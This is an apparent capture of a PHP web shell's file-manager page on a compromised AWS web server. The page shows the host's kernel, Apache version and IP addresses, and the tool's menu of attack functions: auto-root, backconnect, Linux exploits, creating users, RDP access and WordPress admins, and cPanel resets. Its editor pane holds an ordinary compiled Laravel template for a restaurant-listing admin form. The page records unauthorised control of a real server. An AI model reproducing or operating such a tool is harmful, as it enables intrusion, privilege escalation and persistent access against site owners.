Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.119.121.190
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
storage /
framework /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
14
B
-rwxrwxr-x
005acb7d0cbae21fd16e945dd95658...
7.65
KB
-rw-r--r--
023ea4f8bf912c683d942d25c36795...
18.65
KB
-rw-r--r--
02e712bf56a3a9186e5acd0242e2c6...
13.34
KB
-rw-r--r--
07d66a7a5576c5d7d307524c2eb684...
5.86
KB
-rw-r--r--
1acaab507b7cc33c910fc97324080d...
322
B
-rw-r--r--
2e2679e70c67a907119186a077ae2e...
6.4
KB
-rw-r--r--
2e57272f452e43f58b934126d7f57b...
180
B
-rw-r--r--
2fb8ece6a4f982968f08ba317686f8...
156
B
-rw-r--r--
3ccc1cb89d278bb565358f998b1bab...
179
B
-rw-r--r--
40d36b68346f0e574eafd48697e596...
719
B
-rw-r--r--
422ae55fe2a7692c6a7b53ecb883cb...
5.98
KB
-rw-r--r--
4fdeb802560663a61ae92cfa4ac0de...
9.88
KB
-rwxrwxr-x
54f88584e2f679eaa8b260873067d3...
2.53
KB
-rw-r--r--
56405f04039bc5a5a07d7006684ae0...
1.98
KB
-rw-r--r--
654290133e68cd3b04bc74b82bc72d...
1.34
KB
-rw-r--r--
723bab2f348287236041891f378084...
5.35
KB
-rw-r--r--
795ff5da76351a134dd2273e8df022...
2.44
KB
-rw-r--r--
7a1777652607b8c97f12b4629fdd73...
155
B
-rw-r--r--
7fa5c0c8d4507da161a5fb3ca97c4c...
1.76
KB
-rw-r--r--
8362690ccea6efd9102ab7ed399866...
15.69
KB
-rwxrwxr-x
85868dd5edd348f809fdbae3329606...
13.2
KB
-rw-r--r--
a094570f1b6485c512ce8ba79d3f2a...
309
B
-rw-r--r--
a394c37f265ab90a427e194cd3955f...
16.6
KB
-rw-r--r--
a39c4e66f14f0888db23626bb2a68b...
2.13
KB
-rw-r--r--
a48b6cbacbf3fbce11e4479360af53...
13.26
KB
-rw-r--r--
acaf3d82efd67f924877c30c022804...
5.69
KB
-rw-r--r--
c1ca5354e2d6bb6a2b6abe58428e34...
429
B
-rw-r--r--
c5718edef6e73426fbe2ff80d73468...
663
B
-rw-r--r--
c84c3c5c6008e4c404cb64dc7b60ba...
10.48
KB
-rw-r--r--
d4192c11e21323c0e045e394a97366...
379
B
-rw-r--r--
d4bf5fa1986ae8ae2088b03cb2966b...
14.43
KB
-rw-r--r--
d7240a877194c60633d675848010aa...
8.23
KB
-rw-r--r--
dcf9ba91b8d1e773540333182b6872...
998
B
-rw-r--r--
de1d7ee884859283d04951b7f65aec...
16.01
KB
-rw-r--r--
f2f1195f45d0efd51b3a0955ea7c8c...
423
B
-rw-r--r--
f4b2ee329b4b057feae78eca6c7f21...
26.03
KB
-rw-r--r--
f6038d0e0231bf089ddd2095bf7961...
8.48
KB
-rw-r--r--
fb22e2f6bf16e543be0837f9cca04d...
3.28
KB
-rw-r--r--
googleda794cd9937527d01.html
43
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : f4b2ee329b4b057feae78eca6c7f21d1ba1988c1.php
<?php $__env->startSection('stylesheets'); ?> <link href="/css/bootstrap.min.css" rel="stylesheet"> <link href="/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700|Chilanka|Nunito" rel="stylesheet" type="text/css"> <link rel="stylesheet" href="/css2/layout.css"> <link rel="stylesheet" href="/css/autocomplete.css"> <link href="<?php echo e(asset('css2/vex.min.css')); ?>" rel="stylesheet"> <link href="<?php echo e(asset('css/style.css')); ?>" rel="stylesheet"> <link href="<?php echo e(asset('css2/suggest.css')); ?>" rel="stylesheet"> <link rel="shortcut icon" href="/images/icon.png" type="image/png"> <style> .input-close { position: relative; } @media (max-width: 767px){ .wrapper { padding: 0; } form { width: 100%; } .close-addon { position: absolute; right: 15px; top: 33%; cursor: pointer; } } button { background-color: #9CAFB7 !important; border-color: #9CAFB7 !important; color: #fff !important; } @media (min-width: 576px){ .row>.col-sm-6:first-of-type { padding-right: 10px !important; } .input-group { margin-bottom: 5px; } .btn-group2, #address { height: 50px; } #address { border-top-left-radius: 5px; border-bottom-left-radius: 5px; } } .w-100 { width: 100%; } #img-source { /* display: flex; */ justify-content: space-between; flex-wrap: wrap; } .old-img { display: flex; } .old-img img { width: 100%; max-width: 200px; } .place-img { width: 50%; min-height: 100px; margin-bottom: 10px; } .place-img-w { text-align: center; } @media (max-width: 500px) { .place-img { width: 100%; } } .add-new { display: flex; width: 100%; height: 100%; text-align: center; border: 1px solid #ccc; } .add-icon { margin: auto; } .add-icon > * { color: #222; } .add-icon .fa { font-size: 20px; } .add-icon h4 { font-size: 1.2rem; } .delete-place-picture { cursor: pointer; } .add-food-item { display: flex; flex-direction: column; justify-content: center; align-items: center; } .badge { margin-bottom: 0; } .add-food-item .delete-food { } .badge.badge-warning { padding: 10px; margin-bottom: 5px; font-size: 16px; } .category-container { margin-bottom: 10px; } .category-container .badge { padding: 5px; } .remove-cat { cursor: pointer; } button { border: 1px solid transparent; border-radius: 3px; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="containers"> <form action="<?php echo e(route('admin_store_place')); ?>" method="POST" class="place-form" enctype="multipart/form-data"> <?php echo csrf_field(); ?> <input type="hidden" name="edit" id="edit" value="<?php echo e($place['slug'] ?? ''); ?>"> <input type="hidden" name="franchise" id="franinput" value="<?php echo e($place['franchise'] ?? ''); ?>"> <div class="card"> <div class="card-body"> <h4>Place</h4> <div class="form-group suggest input-close"> <input type="text" data-type="place" id="place-name" name="name" class="form-control item-name" placeholder="Name" autocomplete="off" value="<?php echo e($place['name'] ?? ''); ?>" required> </div> <div class="input-group"> <input type="text" name="address" placeholder="Enter Location" class="btn-group2" value="<?php echo e($place['address'] ?? ''); ?>" id="address" required> <div class="input-group-append btn-group2"> <button style="white-space: normal; background-color: #e8eeef; color: #8a97a0" type="button" class="btn btn-primary get-location"><i class="ta ta-target"></i></button> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input type="text" name="latitude" placeholder="Latitude" class="form-control" id="lats" value="<?php echo e(isset($place) ? $place['location'] ? $place['location']['coordinates'][1] : '' : ''); ?>"> </div> </div> <div class="col-md-6"> <div class="form-group"> <input type="text" name="longitude" placeholder="Longitude" class="form-control" id="lngs" value="<?php echo e(isset($place) ? $place['location'] ? $place['location']['coordinates'][0] : '' : ''); ?>"> </div> </div> </div> <div class="form-group suggest"> <input type="text" id="phone" name="phone[]" class="form-control" value="<?php echo e($place['phones'][0] ?? ''); ?>" placeholder="Telephone 1 (optional)" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="phonetwo" name="phone[]" class="form-control" value="<?php echo e($place['phones'][1] ?? ''); ?>" placeholder="Telephone 2 (optional)" autocomplete="off"> </div> <div class="form-group suggest"> <input type="email" id="email" name="email" class="form-control" value="<?php echo e($place['email'] ?? ''); ?>" placeholder="Email (optional)" autocomplete="off"> </div> <div class="row"> <div class="form-group suggest col-sm-6" style="padding: 0"> <input type="text" id="opening" name="opening" class="form-control timing" placeholder="Opening Time (e.g. 08:00)" value="<?php echo e($place['opening'] ?? ''); ?>"> </div> <div class="form-group suggest col-sm-6" style="padding: 0"> <input type="text" id="closing" name="closing" class="form-control timing" placeholder="Closing Time (e.g. 22:00)" value="<?php echo e($place['closing'] ?? ''); ?>"> </div> </div> <div class="form-group suggest"> <input type="text" id="whatsapp" name="whatsapp" class="form-control" value="<?php echo e($place['whatsapp'] ?? ''); ?>" placeholder="WhatsApp" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="jumia" name="jumia" class="form-control" value="<?php echo e($place['jumia'] ?? ''); ?>" placeholder="Jumia Link" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="website" name="website" class="form-control" value="<?php echo e($place['website'] ?? ''); ?>" placeholder="Website" autocomplete="off"> </div> <div class="form-group suggest"> <input type="text" id="info" name="info" class="form-control" value="<?php echo e($place['info'] ?? ''); ?>" placeholder="Other information" autocomplete="off"> </div> <!-- <input type="hidden" role="uploadcare-uploader" name="image" data-crop="800x600" /><br><br> --> <div id="img-source"> <?php if(isset($place) && isset($place['image'])): ?> <?php $__currentLoopData = $place['image']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $image): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="place-img"> <div class="place-img-w"> <img src="<?php echo e($image); ?>" class="w-100" /> <a href="#" class="delete-place-picture" data-slug="<?php echo e($place['slug']); ?>" data-index="<?php echo e($loop->index); ?>"> <span class="fa fa-times"></span> </a> </div> </div> <input type="hidden" name="uploadimage[]" value="<?php echo e($image); ?>"> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> <div id="old-img"></div> <div class="place-img"> <div class="form-group suggest img-input"> <label for="images">Pictures</label> <input type="file" class="form-control" name="image[]"> <input type="file" class="form-control" name="image[]"> </div> </div> </div> <h5 class="text-center type-of-place" style="margin-top: 20px;">Type of Place</h5> <?php $types = [ 'restaurant' => 'Restaurant', 'mamaput' => 'Mama Put', 'bar' => 'Bar', 'streetfood' => 'Street Food', 'fastfood' => 'Fast Food', 'hotel' => 'Hotel', 'eatery' => 'Eatery', 'cafe' => 'Cafe', 'online' => 'Delivery Only' ] ?> <?php $__currentLoopData = $types; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $type): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['type'])) && $key === $place['type'] ? 'checked' : ''; ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($key); ?>" name="type" <?php echo e($in); ?> type="radio" value="<?php echo e($key); ?>"> <label class="form-check-label" for="<?php echo e($key); ?>"><?php echo e($type); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <hr> <?php $cats = [ 'african' => 'African', 'continental' => 'Continental', 'chinese' => 'Chinese', 'indian' => 'Indian', 'fast-food' => 'FastFood', 'breakfast' => 'Breakfast', 'seafood' => 'Seafood', 'finedining' => 'FineDining', 'healthy' => 'Healthy', 'grill' => 'Grill', 'parking' => 'Parking', 'seating' => 'Seating', 'delivery' => 'Delivery' ] ?> <div id="tags-list"> <h5 class="text-center">Tags <span style="font-size: 14px">(select many)</span></h5> <?php $__currentLoopData = $cats; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['tags'])) && in_array($key, (array) $place['tags']) ? 'checked' : ''; ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($key); ?>" name="tags[]" <?php echo e($in); ?> type="checkbox" value="<?php echo e($key); ?>"> <label class="form-check-label" for="<?php echo e($key); ?>"><?php echo e($cat); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <div class="form-inline flexContainer"> <div id="extra-tags"> <input type="text" id="extra" class="form-control"> </div> <button type="button" class="btn btn-primary" id="add-tag">Add Tag</button> </div> <div class="category-container"> <?php if(isset($place) && isset($place['category'])): ?> <?php $__currentLoopData = $place['category']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <span class="badge badge-warning category"> <?php echo e($cat); ?> <span class="fa fa-times remove-cat" data-index="<?php echo e($loop->index); ?>"></span> <input type="hidden" name="category[]" value="<?php echo e($cat); ?>" /> </span> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </div> <div class="flexContainer"> <div id="categories"> <input type="text" id="category" class="form-control"> </div> <button type="button" class="btn btn-primary" id="add-category">Add Category</button> </div> <hr> <?php $areas = ['Agungi','Ajah','Akoka','Alausa','Apapa','Chevron','Ebute Metta','Festac Town','Gbagada','Ikate','Ikeja','Ikoyi','Ilupeju','Island','Isolo','Lagos Island','Lekki','Magodo','Mainland','Maryland','Okota','Opebi','Oregun','Oshodi','Satellite Town','Surulere','VGC','Victoria Island','Yaba'] ?> <div id="delivery-list" style="display: none"> <h5 class="text-center">Delivery Areas <span style="font-size: 14px">(select many)</span></h5> <?php $__currentLoopData = $areas; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $area): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $in = (isset($place) && isset($place['delivery'])) && in_array($area, (array) $place['delivery']) ? 'checked' : ''; $id = implode("-", explode(" ", $area)); ?> <div class="form-check suggest form-check-inline"> <input class="form-check-input" id="<?php echo e($id); ?>" name="delivery[]" type="checkbox" <?php echo e($in); ?> value="<?php echo e($area); ?>"> <label class="form-check-label" for="<?php echo e($id); ?>"><?php echo e($area); ?></label> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <hr> <div class="prev-food" id="prev-food" style="display: flex; flex-wrap: wrap;"> <?php if(isset($food)): ?> <h5 style="font-size: 18px; width: 100%; padding-bottom: 20px;">Click on a food item to edit it</h5><br> <?php $__currentLoopData = $food; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $f): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <div class="add-food-item" style="text-align: center;"> <button style="background-color: transparent !important; padding: 0; border: none" type="button" class="edit-prev-food preset" data-id="<?php echo e($f['_id'] ?? ''); ?>" data-description="<?php echo e($f['description'] ?? ''); ?>" data-name="<?php echo e($f['name']); ?>" data-category="<?php echo e($f['category'] ?? ''); ?>" data-price="<?php echo e($f['price']); ?>"> <span class="badge badge-warning"> <?php echo e($f['name']); ?> - <?php echo e($f['price']); ?> </span> </button> <a href="#" class="delete-food" data-id="<?php echo e($f['_id'] ?? ''); ?>" data-name="<?php echo e($f['name'] ?? ''); ?>"> <i class="fa fa-times"></i> </a> </div> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </div> <div class="items"> </div> <div class="add-more" style="margin-bottom: 20px;"> <button type="button" class="btn btn-primary add-item">Add Food</button> </div> <button class="btn btn-success form-control submit-place">Submit</button> </div> </div> </form> </div> <div class="top-of-page" style="position: fixed; bottom: 50%; right: 20px;"> <button class="go-to-top" style="padding: 5px; background-color: #c32022; color: #fff; font-size: 15px;"> Top </button> <button class="go-to-bottom" style="padding: 5px; background-color: #c32022; color: #fff; font-size: 15px;"> Bottom </button> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('footer'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('admin'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('javascript'); ?> <?php echo \Illuminate\View\Factory::parentPlaceholder('javascript'); ?> <script src="<?php echo e(asset('js/vex.min.js')); ?>"></script> <script> vex.defaultOptions.className = 'vex-theme-plain'; let cats = Array.from(document.querySelectorAll('.category')).map(catSpan => catSpan.textContent.trim()) const loadCategories = () => { // populate category options for all new food items being entered const foodItems = document.querySelectorAll('.item') foodItems.forEach(foodinput => { const food_category_select = foodinput.querySelector('.food-category') if(food_category_select){ const select = food_category_select.value food_category_select.innerHTML = '<option value="">Select category</option>'; food_category_select.innerHTML += cats.map(cat => catOption(cat, select || '')).join("") } // catSelect.value = }) document.querySelector('.category-container').innerHTML = cats.map((cat, i) => categoryTemplate(cat, i)).join(""); }; </script> <script src="<?php echo e(asset('js/addfood.js')); ?>"></script> <script src="/js/search.js"></script> <script> const delete_food_by_id = _id => { return fetch(`/place/food/delete/${_id}`, {credentials: 'same-origin'}) .then(response => response.json()) .catch(error => console.log(error)) } function deleteFood(e){ e.preventDefault(); const target = e.currentTarget; const _id = target.dataset.id; // var con = confirm('Are you sure you want to delete ' + name); delete_food_by_id(_id) .then(result => { target.closest('.add-food-item').style.display = 'none'; }) } document.querySelectorAll('.delete-food').forEach(deleteButton => { deleteButton.addEventListener('click', deleteFood) }) var areas = ['Agungi','Ajah','Akoka','Alausa','Apapa','Chevron','Ebute Metta','Festac Town','Gbagada','Ikate','Ikeja','Ikoyi','Ilupeju','Island','Isolo','Lagos Island','Lekki','Magodo','Mainland','Maryland','Okota','Opebi','Oregun','Oshodi','Satellite Town','Surulere','VGC','Victoria Island','Yaba']; // document.getElementById("upload_widget").addEventListener("click", function(){ // myWidget.open(); // }, false); var long = document.getElementById('longitude'); var lati = document.getElementById('latitude'); (function addsEvent(){ autocomplete(document.getElementById('address')) .then(response => { populate(response); addsEvent(); }); })(); $('.get-location').on('click', function(e){ e.preventDefault(); const $target = $(e.currentTarget); $target.addClass('animated pulse infinite') startMap().then(locate => { console.log(locate); document.getElementById('address').value = locate.address long.value = locate.longitude lati.value = locate.latitude $target.removeClass('animated pulse infinite') }).catch(error => console.log(error)) }) document.getElementById('add-tag').addEventListener('click', function(e){ e.preventDefault(); const extra = document.getElementById('extra'); const extraTag = extra.value.split(" ").join("") const newTag = document.createElement('div'); newTag.classList.add("form-check", "suggest", "form-check-inline"); newTag.innerHTML = tagTemplate(extraTag); document.getElementById('tags-list').appendChild(newTag); extra.value = ""; }); const categoryTemplate = (category, index) => ` <span class="badge badge-warning"> ${category} <span class="fa fa-times remove-cat" data-index="${index}"></span> <input type="hidden" name="category[]" value="${category}" /> </span> `; document.querySelector('.category-container').addEventListener('click', function(e){ if(e.target.dataset.index !== 'undefined') { cats.splice(e.target.dataset.index, 1) e.target.closest('.badge').style.display = 'none'; loadCategories(); } }) document.getElementById('add-category').addEventListener('click', function(e){ const cat = document.getElementById('category'); if(cat.value) { const cats_entered = cat.value.split(",").map(c => c.trim()) cats.push(...cats_entered); cat.value = ""; cat.focus() loadCategories(); } }); const catOption = (cat, opt) => ` <option ${opt === cat && 'selected'} value="${cat}">${cat}</option> `; var newFood = (food = {}) => { const foodNode = document.createElement('div') foodNode.classList.add('item'); foodNode.innerHTML = ` <div> <input type="hidden" class="food-id" name="food[id][]" value="${food.id || ''}" /> <div class="form-group suggest"> <input type="text" data-type="food" name="food[food][]" class="form-control food-name" value="${food.name || ''}" placeholder="Food name" autocomplete="off"> </div> <div class="form-group suggest price-check"> <input type="text" name="food[price][]" class="form-control price" value="${food.price || ''}" placeholder="Price" autocomplete="off"> </div> <div class="form-group suggest"> <textarea class="form-control description" name="food[description][]" placeholder="Description">${food.description || ""}</textarea> </div> <div class="form-group suggest"> <select class="form-control food-category" name="food[foodCategory][]"> <option value="">Select Category</option> ${cats.map(cat => catOption(cat, food.category || ''))} </select> </div> <div> <button class="btn btn-danger remove-current-item">Remove <i class="fa fa-times"></i></button> </div> </div> `; return foodNode; } var foodsToAdd = {}; function editFood(e){ e.preventDefault(); const target = e.currentTarget; const _id = target.dataset.id; // delete_food_by_id(_id) // .then(result => { if(!foodsToAdd[_id]){ foodsToAdd[_id] = target.dataset; const foodItems = document.querySelectorAll('.item'); if(!foodItems.length){ document.querySelector('.items').appendChild(newFood(target.dataset)); }else { document.querySelector('.items').insertBefore(newFood(target.dataset), foodItems[0]); } // document.querySelector('.items').innerHTML = + .innerHTML; document.querySelector('.food-name').select(); } target.closest('.add-food-item').style.display = 'none'; goToTop(document.querySelector('.item').offsetTop) // }) } $(document).on('click', '.add-current-item', function(e){ e.preventDefault(); const $target = $(e.currentTarget); const $container = $target.closest('.item'); const _id = $container.find('.food-id').val(); const name = $container.find('.food-name').val(); const price = $container.find('.price').val(); const description = $container.find('.description').val(); // console.log(name); $container.remove() $('#prev-food').append(prevFood({_id, name, price, description})) }); // $(document).on('keyup', '.food-name', function(e){ // let slug = document.querySelector('#edit').value; // console.log(e.target, e.currentTarget) // if(slug){ // console.log('hhh') // autoC(e.currentTarget, function(text){ // text = text.toLowerCase(); // console.log(text) // return $.get(`/place/food/search/${slug}/${e.currentTarget.value}`) // }, function(foodDetails){ // e.currentTarget.value = foodDetails.name; // let container = e.currentTarget.closest('.item'); // container.querySelector('.price').value = foodDetails.price; // container.querySelector('.description').value = foodDetails.description; // const idInput = document.createElement('input'); // idInput.setAttribute('type', 'hidden'); // idInput.value = foodDetails.key; // container.appendChild(idInput); // }) // } // }); document.querySelectorAll('.edit-prev-food.preset').forEach(editButton => { editButton.addEventListener('click', editFood) }) $(document).on('click', '.remove-current-item', function(e){ e.preventDefault(); const $target = $(e.currentTarget); const $container = $target.closest('.item'); // console.log(name); $container.remove(); }); const imgTemp = (img) => ` <div class="place-img"> <div class="place-img-w"> <img src="${img}" class="w-100" /> </div> </div> ` function appendImage(img){ $('#img-source').prepend(imgTemp(img)) } function oldPlace(slug) { const el = document.createElement('input'); el.setAttribute('type', 'hidden'); el.setAttribute('name', 'oldplace'); el.setAttribute('value', slug); document.querySelector('.place-form').appendChild(el); } const placeSearch = document.querySelector('#place-name'); autoComplete({ input: placeSearch, fetch: async function(text, update) { text = text.toLowerCase(); var suggestions = await $.get(`/api/place/search/${text}`) update(suggestions) }, onSelect: async function({name, slug}) { placeSearch.value = name; oldPlace(slug) const placeDetails = await getPrevFood(name); resets(placeDetails.place, placeDetails.food); } }); // document.querySelector('.check-fran').addEventListener('click', function(e){ // // check // e.preventDefault(); // const placeName = document.querySelector('#place-name').value; // if(placeName.length){ // doFetch(`/api/place/franchise/food/${placeName}`) // .then(places => { // franchisePlaces = places; // newFranCon(places) // }) // } // // document.getElementById('prev-food').innerHTML = food && food.length ? populateFood(food) : ""; // }); document.querySelector('.go-to-top').addEventListener('click', function(e){ e.preventDefault(); const top = $('.type-of-place').offset().top goToTop(top) }) document.querySelector('.go-to-bottom').addEventListener('click', function(e){ e.preventDefault(); const foodItems = document.querySelectorAll('.item') const bottom = foodItems.length ? foodItems[foodItems.length - 1].offsetTop : document.querySelector('.items').offsetTop; goToTop(bottom) }) // Toggle show delivery areas when delivery is (de)selected document.getElementById('delivery').addEventListener('change', function(e){ if(e.target.checked){ document.querySelector('#delivery-list').style.display = 'block'; }else { document.querySelector('#delivery-list').style.display = 'none'; } }) function goToTop(goto) { $('html, body').animate({ scrollTop: goto }, 800); // if (this.hash !== "") { // event.preventDefault(); // var hash = this.hash; // $('html, body').animate({ // scrollTop: $(hash).offset().top // }, 800, function() { // window.location.hash = hash; // }); // } } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.base', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/stage/resources/views/places/suggest.blade.php ENDPATH**/ ?>
Close